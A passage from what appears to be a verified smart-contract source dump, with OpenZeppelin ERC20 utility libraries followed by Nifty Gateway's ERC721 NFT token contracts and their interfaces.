data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/security/ReentrancyGuard.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "london",
"libraries": {},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,493,873 | 1155aee279e71549addd9d966d4b28cf7662f75f7066133d2f6abd7c56a51f29 | 5c4bbd7133ebddc26dc1be5fcda6b910d63d0f9e90a489ab66f2dd735d6ec830 | 1e3c914aab4dcff5ab9ad03103a0bafcff1b7eb1 | c4bd13d85c8050e55f456ccedea799e2df2a1f8c | a8d52ee8ba42ceb93fcb1d43831ef447ce69299c | 3d602d80600a3d3981f3363d3d373d3d3d363d73ee2c03ced8b6755e8d76ab144677f5f350203cab5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73ee2c03ced8b6755e8d76ab144677f5f350203cab5af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/tokens/NiftyERC721Token.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9; \n \n// ,|||||< ~|||||' `_+7ykKD%RDqmI*~` \n// 8@@@@@@8' `Q@@@@@` `^oB@@@@@@@@@@@@@@@@@R|` \n// !@@@@@@@@Q; L@@@@@J '}Q@@@@@@QqonzJfk8@@@@@@@Q, \n// Q@@@@@@@@@@j `Q@@@@Q` `m@@@@@@h^` `?Q@@@@@* \n// =@@@@@@@@@@@@D. 7@@@@@i ~Q@@@@@w' ^@@@@@* \n// Q@@@@@m@@@@@@@Q! `@@@@@Q ;@@@@@@; .txxxx: \n// |@@@@@u *@@@@@@@@z u@@@@@* `Q@@@@@^ \n// `Q@@@@Q` 'W@@@@@@@R.'@@@@@B 7@@@@@% :DDDDDDDDDDDDDD5 \n// c@@@@@7 `Z@@@@@@@QK@@@@@+ 6@@@@@K aQQQQQQQ@@@@@@@* \n// `@@@@@Q` ^Q@@@@@@@@@@@W j@@@@@@; ,6@@@@@@# \n// t@@@@@L ,8@@@@@@@@@@! 'Q@@@@@@u, .=A@@@@@@@@^ \n// .@@@@@Q }@@@@@@@@D 'd@@@@@@@@gUwwU%Q@@@@@@@@@@g \n// j@@@@@< +@@@@@@@; ;wQ@@@@@@@@@@@@@@@Wf;8@@@; \n// ~;;;;; .;;;;;~ '!Lx5mEEmyt|!' ;;;~ \n//\n// Powered By: @niftygateway\n// Author: @niftynathang\n// Collaborators: @conviction_1 \n// @stormihoebe\n// @smatthewenglish\n// @dccockfoster\n// @blainemalone\n \n \n\nimport \"./ERC721Omnibus.sol\";\nimport \"../interfaces/IERC2309.sol\";\nimport \"../interfaces/IERC721MetadataGenerator.sol\";\nimport \"../interfaces/IERC721DefaultOwnerCloneable.sol\";\nimport \"../structs/NiftyType.sol\";\nimport \"../utils/Ownable.sol\";\nimport \"../utils/Signable.sol\";\nimport \"../utils/Withdrawable.sol\";\nimport \"../utils/Royalties.sol\";\n\ncontract NiftyERC721Token is ERC721Omnibus, Royalties, Signable, Withdrawable, Ownable, IERC2309 { \n using Address for address; \n \n event NiftyTypeCreated(address indexed contractAddress, uint256 niftyType, uint256 idFirst, uint256 idLast);\n \n uint256 constant internal MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; \n\n // A pointer to a contract that can generate token URI/metadata\n IERC721MetadataGenerator internal metadataGenerator;\n\n // Used to determine next nifty type/token ids to create on a mint call\n NiftyType internal lastNiftyType;\n\n // Sorted array of NiftyType definitions - ordered to allow binary searching\n NiftyType[] internal niftyTypes; \n\n // Mapping from Nifty type to IPFS hash of canonical artifact file.\n mapping(uint256 => string) private niftyTypeIPFSHashes;\n\n constructor() {\n \n } \n\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Omnibus, Royalties, NiftyPermissions) returns (bool) {\n return \n interfaceId == type(IERC2309).interfaceId ||\n super.supportsInterface(interfaceId);\n } \n\n function setMetadataGenerator(address metadataGenerator_) external { \n _requireOnlyValidSender();\n if(metadataGenerator_ == address(0)) {\n metadataGenerator = IERC721MetadataGenerator(metadataGenerator_);\n } else {\n require(IERC165(metadataGenerator_).supportsInterface(type(IERC721MetadataGenerator).interfaceId), \"Invalid Metadata Generator\"); \n metadataGenerator = IERC721MetadataGenerator(metadataGenerator_);\n } \n }\n\n function finalizeContract() external {\n _requireOnlyValidSender();\n require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); \n collectionStatus.isContractFinalized = true;\n }\n\n function tokenURI(uint256 tokenId) public virtual view override returns (string memory) {\n if(address(metadataGenerator) == address(0)) {\n return super.tokenURI(tokenId);\n } else {\n require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); \n return metadataGenerator.tokenMetadata(tokenId, _getNiftyType(tokenId), bytes(\"\"));\n } \n }\n\n function contractURI() public virtual view override returns (string memory) {\n if(address(metadataGenerator) == address(0)) {\n return super.contractURI();\n } else { \n return metadataGenerator.contractMetadata();\n } \n }\n\n function tokenIPFSHash(uint256 tokenId) external view returns (string memory) {\n require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); \n return niftyTypeIPFSHashes[_getNiftyType(tokenId)];\n } \n\n function setIPFSHash(uint256 niftyType, string memory ipfsHash) external {\n _requireOnlyValidSender();\n require(bytes(niftyTypeIPFSHashes[niftyType]).length == 0, \"ERC721Metadata: IPFS hash already set\");\n niftyTypeIPFSHashes[niftyType] = ipfsHash; \n }\n\n function mint(uint256[] calldata amounts, string[] calldata ipfsHashes) external {\n _requireOnlyValidSender();\n \n require(amounts.length > 0 && ipfsHashes.length > 0, ERROR_INPUT_ARRAY_EMPTY);\n require(amounts.length == ipfsHashes.length, ERROR_INPUT_ARRAY_SIZE_MISMATCH);\n\n address to = collectionStatus.defaultOwner; \n require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); \n require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); \n \n uint88 initialIdLast = lastNiftyType.idLast;\n uint72 nextNiftyType = lastNiftyType.niftyType;\n uint88 nextIdCounter = initialIdLast + 1;\n uint88 firstNewTokenId = nextIdCounter;\n uint88 lastIdCounter = 0;\n\n for(uint256 i = 0; i < amounts.length; i++) {\n require(amounts[i] > 0, ERROR_NO_TOKENS_MINTED); \n uint88 amount = uint88(amounts[i]); \n lastIdCounter = nextIdCounter + amount - 1;\n nextNiftyType++;\n \n if(bytes(ipfsHashes[i]).length > 0) {\n niftyTypeIPFSHashes[nextNiftyType] = ipfsHashes[i];\n }\n \n niftyTypes.push(NiftyType({\n isMinted: true,\n niftyType: nextNiftyType, \n idFirst: nextIdCounter, \n idLast: lastIdCounter\n }));\n\n emit NiftyTypeCreated(address(this), nextNiftyType, nextIdCounter, lastIdCounter);\n\n nextIdCounter += amount; \n }\n \n uint256 newlyMinted = lastIdCounter - initialIdLast; \n \n balances[to] += newlyMinted;\n\n lastNiftyType.niftyType = nextNiftyType;\n lastNiftyType.idLast = lastIdCounter;\n\n collectionStatus.amountCreated += uint88(newlyMinted); \n\n emit ConsecutiveTransfer(firstNewTokenId, lastIdCounter, address(0), to);\n } \n\n function setBaseURI(string calldata uri) external {\n _requireOnlyValidSender();\n _setBaseURI(uri); \n }\n\n function exists(uint256 tokenId) public view returns (bool) {\n return _exists(tokenId);\n } \n\n function burn(uint256 tokenId) public {\n _burn(tokenId);\n }\n\n function burnBatch(uint256[] calldata tokenIds) public {\n require(tokenIds.length > 0, ERROR_INPUT_ARRAY_EMPTY);\n for(uint256 i = 0; i < tokenIds.length; i++) {\n _burn(tokenIds[i]);\n } \n }\n\n function getNiftyTypes() public view returns (NiftyType[] memory) {\n return niftyTypes;\n }\n\n function getNiftyTypeDetails(uint256 niftyType) public view returns (NiftyType memory) {\n uint256 niftyTypeIndex = MAX_INT;\n unchecked {\n niftyTypeIndex = niftyType - 1;\n }\n \n if(niftyTypeIndex >= niftyTypes.length) {\n revert('Nifty Type Does Not Exist');\n }\n return niftyTypes[niftyTypeIndex];\n } \n \n function _isValidTokenId(uint256 tokenId) internal virtual view override returns (bool) { \n return tokenId > 0 && tokenId <= collectionStatus.amountCreated;\n } \n\n // Performs a binary search of the nifty types array to find which nifty type a token id is associated with\n // This is more efficient than iterating the entire nifty type array until the proper entry is found.\n // This is O(log n) instead of O(n)\n function _getNiftyType(uint256 tokenId) internal virtual override view returns (uint256) { \n uint256 min = 0;\n uint256 max = niftyTypes.length - 1;\n uint256 guess = (max - min) / 2;\n \n while(guess < niftyTypes.length) {\n NiftyType storage guessResult = niftyTypes[guess];\n if(tokenId >= guessResult.idFirst && tokenId <= guessResult.idLast) {\n return guessResult.niftyType;\n } else if(tokenId > guessResult.idLast) {\n min = guess + 1;\n guess = min + (max - min) / 2;\n } else if(tokenId < guessResult.idFirst) {\n max = guess - 1;\n guess = min + (max - min) / 2;\n }\n }\n\n return 0;\n } \n}"
},
"contracts/tokens/ERC721Omnibus.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./ERC721.sol\";\nimport \"../interfaces/IERC721DefaultOwnerCloneable.sol\";\n\nabstract contract ERC721Omnibus is ERC721, IERC721DefaultOwnerCloneable {\n \n struct TokenOwner {\n bool transferred;\n address ownerAddress;\n }\n\n struct CollectionStatus {\n bool isContractFinalized; // 1 byte\n uint88 amountCreated; // 11 bytes\n address defaultOwner; // 20 bytes\n } \n\n // Only allow Nifty Entity to be initialized once\n bool internal initializedDefaultOwner;\n CollectionStatus internal collectionStatus;\n\n // Mapping from token ID to owner address \n mapping(uint256 => TokenOwner) internal ownersOptimized; \n\n function initializeDefaultOwner(address defaultOwner_) public {\n require(!initializedDefaultOwner, ERROR_REINITIALIZATION_NOT_PERMITTED);\n collectionStatus.defaultOwner = defaultOwner_;\n initializedDefaultOwner = true;\n } \n\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) {\n return \n interfaceId == type(IERC721DefaultOwnerCloneable).interfaceId ||\n super.supportsInterface(interfaceId);\n } \n\n function getCollectionStatus() public view virtual returns (CollectionStatus memory) {\n return collectionStatus;\n }\n \n function ownerOf(uint256 tokenId) public view virtual override returns (address owner) {\n require(_isValidTokenId(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n owner = ownersOptimized[tokenId].transferred ? ownersOptimized[tokenId].ownerAddress : collectionStatus.defaultOwner;\n require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n } \n \n function _exists(uint256 tokenId) internal view virtual override returns (bool) {\n if(_isValidTokenId(tokenId)) { \n return ownersOptimized[tokenId].ownerAddress != address(0) || !ownersOptimized[tokenId].transferred;\n }\n return false; \n }\n \n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual override returns (address owner, bool isApprovedOrOwner) {\n owner = ownerOf(tokenId);\n isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender));\n } \n\n function _clearOwnership(uint256 tokenId) internal virtual override {\n ownersOptimized[tokenId].transferred = true;\n ownersOptimized[tokenId].ownerAddress = address(0);\n }\n\n function _setOwnership(address to, uint256 tokenId) internal virtual override {\n ownersOptimized[tokenId].transferred = true;\n ownersOptimized[tokenId].ownerAddress = to;\n } \n\n function _isValidTokenId(uint256 /*tokenId*/) internal virtual view returns (bool); \n}"
},
"contracts/interfaces/IERC2309.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev Interface of the ERC2309 standard as defined in the EIP.\n */\ninterface IERC2309 {\n \n /**\n * @dev Emitted when consecutive token ids in range ('fromTokenId') to ('toTokenId') are transferred from one account (`fromAddress`) to\n * another (`toAddress`).\n *\n * Note that `value` may be zero.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress);\n}"
},
"contracts/interfaces/IERC721MetadataGenerator.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\n\ninterface IERC721MetadataGenerator is IERC165 {\n function contractMetadata() external view returns (string memory);\n function tokenMetadata(uint256 tokenId, uint256 niftyType, bytes calldata data) external view returns (string memory);\n}"
},
"contracts/interfaces/IERC721DefaultOwnerCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\n\ninterface IERC721DefaultOwnerCloneable is IERC165 {\n function initializeDefaultOwner(address defaultOwner_) external; \n}"
},
"contracts/structs/NiftyType.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nstruct NiftyType {\n bool isMinted; // 1 bytes\n uint72 niftyType; // 9 bytes\n uint88 idFirst; // 11 bytes\n uint88 idLast; // 11 bytes\n}"
},
"contracts/utils/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./NiftyPermissions.sol\";\n\nabstract contract Ownable is NiftyPermissions { \n \n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); \n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n \n function transferOwnership(address newOwner) public virtual {\n _requireOnlyValidSender(); \n address oldOwner = _owner; \n _owner = newOwner; \n emit OwnershipTransferred(oldOwner, newOwner); \n }\n}"
},
"contracts/utils/Signable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./NiftyPermissions.sol\";\nimport \"../libraries/ECDSA.sol\";\nimport \"../structs/SignatureStatus.sol\";\n\nabstract contract Signable is NiftyPermissions { \n\n event ContractSigned(address signer, bytes32 data, bytes signature);\n\n SignatureStatus public signatureStatus;\n bytes public signature;\n\n string internal constant ERROR_CONTRACT_ALREADY_SIGNED = \"Contract already signed\";\n string internal constant ERROR_CONTRACT_NOT_SALTED = \"Contract not salted\";\n string internal constant ERROR_INCORRECT_SECRET_SALT = \"Incorrect secret salt\";\n string internal constant ERROR_SALTED_HASH_SET_TO_ZERO = \"Salted hash set to zero\";\n string internal constant ERROR_SIGNER_SET_TO_ZERO = \"Signer set to zero address\";\n\n function setSigner(address signer_, bytes32 saltedHash_) external {\n _requireOnlyValidSender();\n\n require(signer_ != address(0), ERROR_SIGNER_SET_TO_ZERO);\n require(saltedHash_ != bytes32(0), ERROR_SALTED_HASH_SET_TO_ZERO);\n require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED);\n \n signatureStatus.signer = signer_;\n signatureStatus.saltedHash = saltedHash_;\n signatureStatus.isSalted = true;\n }\n\n function sign(uint256 salt, bytes calldata signature_) external {\n require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED); \n require(signatureStatus.isSalted, ERROR_CONTRACT_NOT_SALTED);\n \n address expectedSigner = signatureStatus.signer;\n bytes32 expectedSaltedHash = signatureStatus.saltedHash;\n\n require(_msgSender() == expectedSigner, ERROR_INVALID_MSG_SENDER);\n require(keccak256(abi.encodePacked(salt)) == expectedSaltedHash, ERROR_INCORRECT_SECRET_SALT);\n require(ECDSA.recover(ECDSA.toEthSignedMessageHash(expectedSaltedHash), signature_) == expectedSigner, ERROR_UNEXPECTED_DATA_SIGNER);\n \n signature = signature_; \n signatureStatus.isVerified = 